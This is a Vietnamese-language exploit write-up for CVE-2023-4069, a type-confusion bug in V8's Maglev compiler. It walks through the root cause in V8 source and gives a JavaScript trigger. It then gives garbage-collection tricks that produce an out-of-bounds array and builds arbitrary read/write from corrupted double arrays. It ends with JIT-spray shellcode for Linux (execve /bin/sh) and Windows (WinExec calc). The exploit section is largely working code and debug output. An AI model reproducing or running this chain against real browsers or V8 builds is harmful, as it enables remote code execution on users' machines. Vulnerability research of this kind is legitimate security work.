# CVE-2023-4069
* Vừa rồi thì mình có tìm hiểu về `CVE-2023-4069` nói về `1` bug trong v8. Ở trình biên dịch `maglev` khi xử lí việc khởi tạo object dẫn tới `1` lỗi uninitialized trong object
* Ở đây mình sẽ trình bày lại bug và cách khai thác. Trình biên dịch `maglev` là 1 trình biên dịch mới được thêm vào v8 những năm gần đây cho việc tối ưu hóa code, trước đây chỉ có mỗi `turbofan`. Khi mình tìm hiểu về CVE này mình mới biết đến nó và trước đây mình chỉ biết về `ignition`, `Sparkplug` và `turbofan`
## Root cause
* Đầu tiên là cần biết về việc cách thức khởi tạo object ở V8. Mình đã viết riêng 1 bài viết ở [đây](https://hackmd.io/gauXgjVNQziPMrMk8eb4aw)
* Lỗi ở đây là về việc `maglev` xử lí bytecode `FindNonDefaultConstructorOrConstruct`
* Thông thường bytecode này là để bỏ qua các `constructor` mặc định khi gọi `constructor` từ các lớp con
* Ví dụ
```javascript=
class A {}
class B extends A
{}
let x = new B;
```
* Chạy lệnh sau với flag `--print-bytecode`

* Khi `maglev` chuyển đổi bytecode này nó sẽ gọi hàm `void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct()` ở `src\maglev\maglev-graph-builder.cc`
```cpp=
void MaglevGraphBuilder::VisitFindNonDefaultConstructorOrConstruct() {
ValueNode* this_function = LoadRegisterTagged(0);
ValueNode* new_target = LoadRegisterTagged(1);
auto register_pair = iterator_.GetRegisterPairOperand(2);
if (compiler::OptionalHeapObjectRef constant =
TryGetConstant(this_function)) {
compiler::MapRef function_map = constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());
while (true) {
if (!current.IsJSFunction()) break;
compiler::JSFunctionRef current_function = current.AsJSFunction();
if (current_function.shared(broker())
.requires_instance_members_initializer()) {
break;
}
if (current_function.context(broker())
.scope_info(broker())
.ClassScopeHasPrivateBrand()) {
break;
}
FunctionKind kind = current_function.shared(broker()).kind();
if (kind == FunctionKind::kDefaultDerivedConstructor) {
if (!broker()->dependencies()->DependOnArrayIteratorProtector()) break;
} else {
broker()->dependencies()->DependOnStablePrototypeChain(
function_map, WhereToStart::kStartAtReceiver, current_function);
compiler::OptionalHeapObjectRef new_target_function =
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
ValueNode* object;
if (new_target_function && new_target_function->IsJSFunction()) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
}
StoreRegister(register_pair.first, GetBooleanConstant(true));
StoreRegister(register_pair.second, object);
return;
}
break;
}
// Keep walking up the class tree.
current = current_function.map(broker()).prototype(broker());
}
StoreRegister(register_pair.first, GetBooleanConstant(false));
StoreRegister(register_pair.second, GetConstant(current));
return;
}
CallBuiltin* result =
BuildCallBuiltin<Builtin::kFindNonDefaultConstructorOrConstruct>(
{this_function, new_target});
StoreRegisterPair(register_pair, result);
}
```
* Nó sẽ bỏ qua các constructor mặc định và rồi khi khởi tạo object nó truy vấn `new target` thông qua hàm `TryGetConstant`
```cpp=
compiler::OptionalHeapObjectRef new_target_function =
TryGetConstant(new_target);
```
* Nếu `new_target_function` khác null thì sẽ gọi hàm `BuildAllocateFastObject`
```cpp=
if (new_target_function && new_target_function->IsJSFunction()) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(),
broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
}
```
* Hàm `BuildAllocateFastObject`
```cpp=
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
FastObject object, AllocationType allocation_type) {
SmallZoneVector<ValueNode*, 8> properties(object.inobject_properties, zone());
for (int i = 0; i < object.inobject_properties; ++i) {
properties[i] = BuildAllocateFastObject(object.fields[i], allocation_type);
}
ValueNode* elements =
BuildAllocateFastObject(object.elements, allocation_type);
DCHECK(object.map.IsJSObjectMap());
// TODO(leszeks): Fold allocations.
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
object.instance_size, allocation_type);
BuildStoreReceiverMap(allocation, object.map);
AddNewNode<StoreTaggedFieldNoWriteBarrier>(
{allocation, GetRootConstant(RootIndex::kEmptyFixedArray)},
JSObject::kPropertiesOrHashOffset);
if (object.js_array_length.has_value()) {
BuildStoreTaggedField(allocation, GetConstant(*object.js_array_length),
JSArray::kLengthOffset);
}
BuildStoreTaggedField(allocation, elements, JSObject::kElementsOffset);
for (int i = 0; i < object.inobject_properties; ++i) {
BuildStoreTaggedField(allocation, properties[i],
object.map.GetInObjectPropertyOffset(i));
}
return allocation;
}
```
* Nó sẽ khởi tạo object từ tham số `object` tức là `new_target_function`, ở đây hàm này không thực hiện kiểm tra `map` của `new target` mà trực tiếp sử dụng cho object mới được khởi tạo
```cpp=
BuildStoreReceiverMap(allocation, object.map);
```
* Điều này khác với việc khởi tạo object trước đó, khi mà đúng ra nếu kiểu của `new target` mà khác với `target` thì chương trình sẽ sử dụng `initial_map` của `constructor target` rồi set cho `new target`. Như vậy ở đây do không thực hiện kiểm tra `constructor` của `new target` với `target` nên ở đây sẽ bị bug type confusion. Khi mà khởi tạo object với constructor của `target` mà object lại có kiểu của `new target`. Ở đây tác giả sử dụng `new target` là `Array` và với việc khởi tạo bằng `1` constructor khác thì `Array.length` sẽ không được khởi tạo và sẽ nhận những giá trị rác trên v8 heap. Đều này có thể dẫn tới bug `OOB`
* Tuy nhiên trước hết để trigger được bug thì lệnh `compiler::OptionalHeapObjectRef new_target_function =
TryGetConstant(new_target);` phải trả về đúng, khi mà `new target` là `1` hằng số
```cpp=
compiler::OptionalHeapObjectRef MaglevGraphBuilder::TryGetConstant(
ValueNode* node, ValueNode** constant_node) {
if (auto result = TryGetConstant(broker(), local_isolate(), node)) {
if (constant_node) *constant_node = node;
return result;
}
const NodeInfo* info = known_node_aspects().TryGetInfoFor(node);
if (info && info->is_constant()) {
if (constant_node) *constant_node = info->constant_alternative;
return TryGetConstant(info->constant_alternative);
}
return {};
}
```
* Ở đây theo như tác giả thực hiện bằng cách lưu `new.target` vào `1` biến global mà chưa từng được thay đổi
* Thực sự mình không hiểu về cách thức này lắm, mình sẽ chỉ tạm thời nói những cái mình biết. Đầu tiên khi lưu vào biến global thì chương trình sẽ sử dụng bytecode `StaGlobal` và khi được biên dịch bằng `maglev` thì trình biên dịch này sẽ thực thi bằng hàm `void MaglevGraphBuilder::VisitStaGlobal()` ở `src\maglev\maglev-graph-builder.cc`
```cpp=
void MaglevGraphBuilder::VisitStaGlobal() {
// StaGlobal <name_index> <slot>
FeedbackSlot slot = GetSlotOperand(1);
compiler::FeedbackSource feedback_source{feedback(), slot};
const compiler::ProcessedFeedback& access_feedback =
broker()->GetFeedbackForGlobalAccess(feedback_source);
if (access_feedback.IsInsufficient()) {
EmitUnconditionalDeopt(
DeoptimizeReason::kInsufficientTypeFeedbackForGenericGlobalAccess);
return;
}
const compiler::GlobalAccessFeedback& global_access_feedback =
access_feedback.AsGlobalAccess();
RETURN_VOID_IF_DONE(TryBuildGlobalStore(global_access_feedback));
ValueNode* value = GetAccumulatorTagged();
compiler::NameRef name = GetRefOperand<Name>(0);
ValueNode* context = GetContext();
AddNewNode<StoreGlobal>({context, value}, name, feedback_source);
}
```
* Nó sẽ gọi đến hàm `TryBuildGlobalStore`
```cpp=
ReduceResult MaglevGraphBuilder::TryBuildGlobalStore(
const compiler::GlobalAccessFeedback& global_access_feedback) {
if (global_access_feedback.IsScriptContextSlot()) {
return TryBuildScriptContextStore(global_access_feedback);
} else if (global_access_feedback.IsPropertyCell()) {
return TryBuildPropertyCellStore(global_access_feedback);
} else {
DCHECK(global_access_feedback.IsMegamorphic());
return ReduceResult::Fail();
}
}
```
* Tiếp theo mình thấy nó sẽ nhảy vào hàm `TryBuildPropertyCellStore`
```cpp=
ReduceResult MaglevGraphBuilder::TryBuildPropertyCellStore(
const compiler::GlobalAccessFeedback& global_access_feedback) {
...
switch (property_details.cell_type()) {
...
case PropertyCellType::kConstant: {
// TODO(victorgomes): Support non-internalized string.
if (property_cell_value.IsString() &&
!property_cell_value.IsInternalizedString()) {
return ReduceResult::Fail();
}
// Record a code dependency on the cell, and just deoptimize if the new
// value doesn't match the previous value stored inside the cell.
broker()->dependencies()->DependOnGlobalProperty(property_cell);
ValueNode* value = GetAccumulatorTagged();
return BuildCheckValue(value, property_cell_value);
}
...
case PropertyCellType::kMutable: {
// Record a code dependency on the cell, and just deoptimize if the
// property ever becomes read-only.
broker()->dependencies()->DependOnGlobalProperty(property_cell);
ValueNode* property_cell_node = GetConstant(property_cell.AsHeapObject());
ValueNode* value = GetAccumulatorTagged();
BuildStoreTaggedField(property_cell_node, value,
PropertyCell::kValueOffset);
break;
}
...
}
```
* Ở đây nếu biến global chưa từng bị thay đổi thì nó sẽ nhảy vào `PropertyCellType::kConstant` còn mình thử thay đổi thì thấy nó nhảy vào `PropertyCellType::kMutable`
* Tiếp tục nó sẽ gọi đến hàm `BuildCheckValue`
```cpp=
ReduceResult MaglevGraphBuilder::BuildCheckValue(ValueNode* node,
compiler::ObjectRef ref) {
...
SetKnownValue(node, ref);
return ReduceResult::Done();
}
```
* Nó thực hiện check 1 vài thứ và thêm node, sau cùng nó gọi đến hàm `SetKnownValue`
```cpp=
void MaglevGraphBuilder::SetKnownValue(ValueNode* node,
compiler::ObjectRef ref) {
DCHECK(!node->Is<Constant>());
DCHECK(!node->Is<RootConstant>());
NodeInfo* known_info = known_node_aspects().GetOrCreateInfoFor(node);
known_info->type = StaticTypeForConstant(broker(), ref);
known_info->constant_alternative = GetConstant(ref);
}
```
* Ta thấy nó thực hiện setup node như này vậy thì hàm `TryGetConstant` sẽ trả về được `new target`. Mình vẫn không rõ cách hoạt động của việc này lắm có lẽ sau này tìm hiểu thêm về v8 thì mình sẽ hiểu. Tóm lại chúng ta có thể trigger được bug với payload như sau
```javascript=
class A {}
var x = Array;
class B extends A {
constructor() {
x = new.target;
super();
}
}
function construct() {
var r = Reflect.construct(B, [], Array);
return r;
}
```
* Hàm `construct` sẽ trả về `1` object `Array` với `Array.length` không được khởi tạo
## Exploit
### Tạo ra được OOB
* `Array.length` sẽ lấy giá trị rác trên v8 heap nhưng nếu cứ gọi hàm `construct` bình thường thì mình thấy giá trị nó luôn là `0`. Tác trả ở đây đã trigger garbage collection `2` lần trước rồi mới thực hiện cấp phát object
```javascript=
new ArrayBuffer(gcSize);
new ArrayBuffer(gcSize);
```
* Tuy nhiên khi mình làm vậy thì lại không có tác dụng, loay hoay tìm cách trên mạng và mình tìm thấy 1 poc thực thi 2 loại garbage collectior đó là `scavenge` và `mark_compact`(các bạn có thể tìm hiểu về `2` cái này trên google). Mình đã làm đơn giản đi việc trigger `2` cái này so với poc đó như sau
```javascript=
function scavenge()
{
for(let i = 0; i < 9; i++)
new ArrayBuffer(0x200000);
}
function mark_compact()
{
new ArrayBuffer(0x7f000000);
}
```
* Thực thi code như sau và mình đã có thể có được 1 `Array` có `length` cực lớn
```
DebugPrint: 000002B200042139: [JSArray]
- map: 0x02b20018e299 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x02b20018e4dd <JSArray[0]>
- elements: 0x02b200000219 <FixedArray[0]> [PACKED_SMI_ELEMENTS]
- length: 108382280
- properties: 0x02b200000219 <FixedArray[0]>
- All own properties (excluding elements): {
000002B200000E0D: [String] in ReadOnlySpace: #length: 0x02b200144a3d <AccessorInfo name= 0x02b200000e0d <String[6]: #length>, data= 0x02b200000251 <undefined>> (const accessor descriptor), location: descriptor
}
```
* Rồi các bước khai thác tiếp theo của mình khá đơn giản
* Tạo thêm `2` double array
```javascript=
let doubleArr1 = [1.5, 2.2, 3.3];
let doubleArr2 = [1.5, 2.2, 3.3];
```
* Object trên heap của v8 thường hay có địa chỉ cố định sau mỗi lần chạy. Chẳng hạn như `elements` ở trên, thường dùng để lưu trữ các số trong array có cố định offset là `0x219` và khi debug thì `2` mảng double kia cũng không đổi. Như vậy mình có thể ovr `length` của `doubleArr1` rồi dùng nó để ovr `length` và `elements` của `doubleArr2`. Như vậy là mình có thể đọc ghi thoải mái. Việc đọc ghi bằng `Array` khá hạn chế, do cơ chế `pointer tagging` trong V8, bit đầu tiên thường để đánh dấu xem đó là 1 con trỏ hay là 1 số(smi). Các bạn có thể thấy bên trên object `000002B200042139` có bit đầu tiên là 1 và địa chỉ thực của nó là `000002B200042138`. Trong khi đó thì mảng double thì sẽ thực sự dùng 8 bytes để lưu phần tử cho nên việc đọc và ghi sẽ thoải mái hơn
* Tiếp theo mình cần tìm địa chỉ của 1 hàm `foo()`
```
DebugPrint: 000003080019ABC9: [Function] in OldSpace
- map: 0x030800184131 <Map[32](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x030800184059 <JSFunction (sfi = 0000030800146745)>
- elements: 0x030800000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype:
- initial_map:
- shared_info: 0x03080019a6d9 <SharedFunctionInfo foo>
- name: 0x03080019a499 <String[3]: #foo>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x03080019aa95 <ScriptContext[5]>
- code: 0x0308001aee25 <Code TURBOFAN>
- source code: ()
```
* Khác với 2 mảng double kia, địa chỉ hàm này không cố định(nếu mình khai báo thêm biến hay j đó thì nó sẽ bị dịch đi một chút nên dùng offset cố định sẽ không được) nhưng mà field `name` của nó sau nhiều lần chạy mình luôn thấy nó là `0x19a499` như vậy thì mình chỉ cần search giá trị này từ 1 base dưới hàm này là được
* Sau khi có hàm này thì mình sẽ lấy được địa chỉ của field `code`
* Sau khi được compile bằng `turbofan`
```
%DebugPrintPtr( 0x0308001aee25)
DebugPrint: 00000308001AEE25: [Code] in OldSpace
- map: 0x030800000d91 <Map[60](CODE_TYPE)>
- kind: TURBOFAN
- deoptimization_data_or_interpreter_data: 0x0308001aeda5 <FixedArray[14]>
- position_table: 0x030800000f61 <ByteArray[0]>
- instruction_stream: 0x7ff6e0044af1 <InstructionStream TURBOFAN>
- instruction_start: 00007FF6E0044B00
- is_turbofanned: 1
```
```
Instructions (size = 644)
00007FF6E0044B00 0 8b59f4 movl rbx,[rcx-0xc]
00007FF6E0044B03 3 4903de REX.W addq rbx,r14
00007FF6E0044B06 6 f7431700000020 testl [rbx+0x17],0x20000000
00007FF6E0044B0D d 0f852dc930a9 jnz 00007FF689351440 (CompileLazyDeoptimizedCode) ;; near builtin entry
00007FF6E0044B13 13 55 push rbp
00007FF6E0044B14 14 4889e5 REX.W movq rbp,rsp
00007FF6E0044B17 17 56 push rsi
00007FF6E0044B18 18 57 push rdi
00007FF6E0044B19 19 50 push rax
00007FF6E0044B1A 1a 4883ec08 REX.W subq rsp,0x8
00007FF6E0044B1E 1e 493b65a0 REX.W cmpq rsp,[r13-0x60] (external value (StackGuard::address_of_jslimit()))
```
* Ở đây có field `instruction_start` là địa chỉ sẽ được thực thi khi chạy hàm `Foo()`. Ở đây trong `code` con trỏ này sẽ là thuần 64 bits. Ở đây mình build mặc định mình không thấy bật sandbox như của tác giả, nếu không thay vì lưu con trỏ nó sẽ lưu `index` nằm trong 1 table của sandbox
* Ở đây mình sẽ leak con trỏ này rồi sau đó thay đổi nó dịch xuống 1 chút để xuống đoạn nó setup mảng vì mình định nghĩa hàm này theo kiểu
```javascript=
function foo()
{
return [2.5124, 1.521, 3.5124];
}
```
* Khi được compile bằng `turbofan` nó sẽ được setup
```
00007FF6E00440C0 80 49ba61c3d32b65190440 REX.W movq r10,400419652BD3C361
00007FF6E00440CA 8a c4c1f96ec2 vmovq xmm0,r10
00007FF6E00440CF 8f c5fb114707 vmovsd [rdi+0x7],xmm0
00007FF6E00440D4 94 49babc7493180456f83f REX.W movq r10,3FF85604189374BC
00007FF6E00440DE 9e c4c1f96ec2 vmovq xmm0,r10
00007FF6E00440E3 a3 c5fb11470f vmovsd [rdi+0xf],xmm0
00007FF6E00440E8 a8 49ba61c3d32b65190c40 REX.W movq r10,400C19652BD3C361
00007FF6E00440F2 b2 c4c1f96ec2 vmovq xmm0,r10
```
* Các số `49ba61c3d32b65190440` là giá trị hex của các số thập phân trên, như vậy chúng ta có thể set con trỏ vào ngay những số này và với lệnh `jmp` để nhảy tiếp đến số tiếp theo và thực thi tiếp câu lệnh
* Ví dụ cho shellcode của tác giả thực thi trong linux
```python=
from pwn import *
context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')
def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])
make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])
"""
Output:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948
"""
```
* Cơ mà ở đây do mình chạy trên window nên sẽ có shellcode khác
* Dựa theo bài viết [này](https://www.tophertimzen.com/blog/windowsx64Shellcode/) cộng với việc debug thì mình có shellcode như sau
```python=
calc = u64(b'calc\x00\x00\x00\x00')
winExec = 0x68600
shellcode = 'xor rax, rax\n'
shellcode += 'mov al, 0x60\n'
shellcode += 'mov rbx, rax\n'
shellcode += 'mov rax, gs:[rbx]\n'# load _peb
shellcode += 'mov rbx, [rax + 0x18]\n'# load ldr
shellcode += 'mov rcx, [rbx + 0x10]\n' # load entry
shellcode += 'mov rdx, [rcx] \n'# load flink
shellcode += 'mov rcx, [rdx] \n'#; load flink
shellcode += 'mov rbx, [rcx + 0x30]\n' # load kernel32.dll base
shellcode += 'mov r12, rbx\n' #load base to r12
shellcode += 'mov rax, r12\n'
shellcode += f'add rax, {winExec}\n'
shellcode += 'xor rcx, rcx\n'
shellcode += f'mov ecx, {calc}\n'
shellcode += 'push rcx\n'
shellcode += 'mov rcx, rsp\n' #first argument
shellcode += 'xor rdx, rdx\n'
shellcode += 'inc rdx\n' #SW_NORMAL
shellcode += 'jmp rax\n'
```